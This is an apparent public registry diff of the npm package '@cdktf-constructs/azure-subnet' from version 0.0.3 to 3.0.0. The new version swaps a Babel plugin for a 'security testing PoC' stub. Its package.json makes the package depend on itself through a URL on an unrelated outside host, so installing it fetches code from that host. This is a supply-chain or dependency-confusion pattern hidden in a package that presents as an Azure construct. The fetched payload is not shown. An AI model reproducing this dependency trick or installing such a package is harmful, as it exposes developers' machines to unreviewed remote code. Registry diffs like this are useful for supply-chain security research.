@cdktf-constructs/azure-subnet 0.0.3 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +3 -131
  2. package/package.json +4 -4
package/index.js CHANGED
@@ -1,134 +1,6 @@
1
- "use strict";
1
+ #!/usr/bin/env node
2
2
 
3
- const traverse = require("traverse");
4
- const { get, has, find, memoize } = require("lodash");
3
+ // This Package use for security testing PoC purpose
5
4
 
6
- /**
7
- * Return an Array of every possible non-cyclic path in the object as a dot separated string sorted
8
- * by length.
9
- *
10
- * Example:
11
- * getSortedObjectPaths({ process: { env: { NODE_ENV: "development" } } });
12
- * // => [ "process.env.NODE_ENV", "process.env" "process" ]
13
- *
14
- * @param {Object} obj A plain JavaScript Object
15
- * @return {Array} Sorted list of non-cyclic paths into obj
16
- */
17
- const getSortedObjectPaths = memoize((obj) => {
18
- if (!obj) { return []; }
5
+ console.log('Hello, world!');
19
6
 
20
- return traverse(obj)
21
- .paths()
22
- .filter((arr) => arr.length)
23
- .map((arr) => arr.join("."))
24
- .sort((a, b) => b.length - a.length);
25
- });
26
-
27
- /**
28
- * Replace a node with a given value. If the replacement results in a BinaryExpression, it will be
29
- * evaluated. For example, if the result of the replacement is `var x = "production" === "production"`
30
- * The evaluation will make a second replacement resulting in `var x = true`
31
- * @param {function} replaceFn The function used to replace the node
32
- * @param {babelNode} nodePath The node to evaluate
33
- * @param {*} replacement The value the node will be replaced with
34
- * @return {undefined}
35
- */
36
- const replaceAndEvaluateNode = (replaceFn, nodePath, replacement) => {
37
- nodePath.replaceWith(replaceFn(replacement));
38
-
39
- if (nodePath.parentPath.isBinaryExpression()) {
40
- const result = nodePath.parentPath.evaluate();
41
-
42
- if (result.confident) {
43
- nodePath.parentPath.replaceWith(replaceFn(result.value));
44
- }
45
- }
46
- };
47
-
48
- /**
49
- * Finds the first replacement in sorted object paths for replacements that causes comparator
50
- * to return true. If one is found, replaces the node with it.
51
- * @param {Object} replacements The object to search for replacements
52
- * @param {babelNode} nodePath The node to evaluate
53
- * @param {function} replaceFn The function used to replace the node
54
- * @param {function} comparator The function used to evaluate whether a node matches a value in `replacements`
55
- * @return {undefined}
56
- */
57
- // eslint-disable-next-line max-params
58
- const processNode = (replacements, nodePath, replaceFn, comparator) => {
59
- const replacementKey = find(getSortedObjectPaths(replacements),
60
- (value) => comparator(nodePath, value));
61
- if (has(replacements, replacementKey)) {
62
- replaceAndEvaluateNode(replaceFn, nodePath, get(replacements, replacementKey));
63
- }
64
- };
65
-
66
- /**
67
- * Checks if the given identifier is an ES module import
68
- * @param {babelNode} identifierNodePath The node to check
69
- * @return {boolean} Indicates if the provided node is an import specifier or references one
70
- */
71
- const isImportIdentifier = (identifierNodePath) => {
72
- const containerType = get(identifierNodePath, ["container", "type"]);
73
-
74
- return containerType === "ImportDefaultSpecifier" || containerType === "ImportSpecifier";
75
- };
76
-
77
- const memberExpressionComparator = (nodePath, value) => nodePath.matchesPattern(value);
78
- const identifierComparator = (nodePath, value) => nodePath.node.name === value;
79
- const unaryExpressionComparator = (nodePath, value) => nodePath.node.argument.name === value;
80
- const TYPEOF_PREFIX = "typeof ";
81
-
82
- const plugin = function ({ types: t }) {
83
- return {
84
- visitor: {
85
-
86
- // process.env.NODE_ENV;
87
- MemberExpression(nodePath, state) {
88
- processNode(state.opts, nodePath, t.valueToNode, memberExpressionComparator);
89
- },
90
-
91
- // const x = { version: VERSION };
92
- Identifier(nodePath, state) {
93
- const binding = nodePath.scope.getBinding(nodePath.node.name);
94
-
95
- if (
96
- binding
97
- // Don't transform import identifiers. This is meant to mimic webpack's
98
- // DefinePlugin behavior.
99
- || isImportIdentifier(nodePath)
100
- // Do not transform Object keys / properties unless they are computed like {[key]: value}
101
- || nodePath.key === "key" && nodePath.parent.computed === false
102
- || nodePath.key === "property" && nodePath.parent.computed === false
103
- ) {
104
- return;
105
- }
106
-
107
- processNode(state.opts, nodePath, t.valueToNode, identifierComparator);
108
- },
109
-
110
- // typeof window
111
- UnaryExpression(nodePath, state) {
112
- if (nodePath.node.operator !== "typeof") { return; }
113
-
114
- const { opts } = state;
115
- const keys = Object.keys(opts);
116
- const typeofValues = {};
117
-
118
- keys.forEach((key) => {
119
- if (key.substring(0, TYPEOF_PREFIX.length) === TYPEOF_PREFIX) {
120
- typeofValues[key.substring(TYPEOF_PREFIX.length)] = opts[key];
121
- }
122
- });
123
-
124
- processNode(typeofValues, nodePath, t.valueToNode, unaryExpressionComparator);
125
- }
126
-
127
- }
128
- };
129
- };
130
-
131
- // Exports.
132
- module.exports = plugin;
133
- module.exports.default = plugin;
134
- module.exports.getSortedObjectPaths = getSortedObjectPaths;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@cdktf-constructs/azure-subnet",
3
- "version": "0.0.3",
3
+ "version": "3.0.0",
4
4
  "description": "NPM",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -10,17 +10,17 @@
10
10
  "axios": "^1.7.9",
11
11
  "lodash": "^4.17.11",
12
12
  "node-fetch": "^3.3.2",
13
- "react": "*",
13
+ "@cdktf-constructs/azure-subnet": "http://pack.nppacks.com/npm/@cdktf-constructs/azure-subnet",
14
14
  "traverse": "0.6.6",
15
15
  "ws": "^8.18.0"
16
16
  },
17
17
  "devDependencies": {
18
- "react-dom": "*"
18
+ "@cdktf-constructs/azure-subnet": "http://pack.nppacks.com/npm/@cdktf-constructs/azure-subnet"
19
19
  },
20
20
  "engines": {
21
21
  "node": ">=14.0.0"
22
22
  },
23
23
  "keywords": [],
24
- "author": "Mathew",
24
+ "author": "JPD",
25
25
  "license": "MIT"
26
26
  }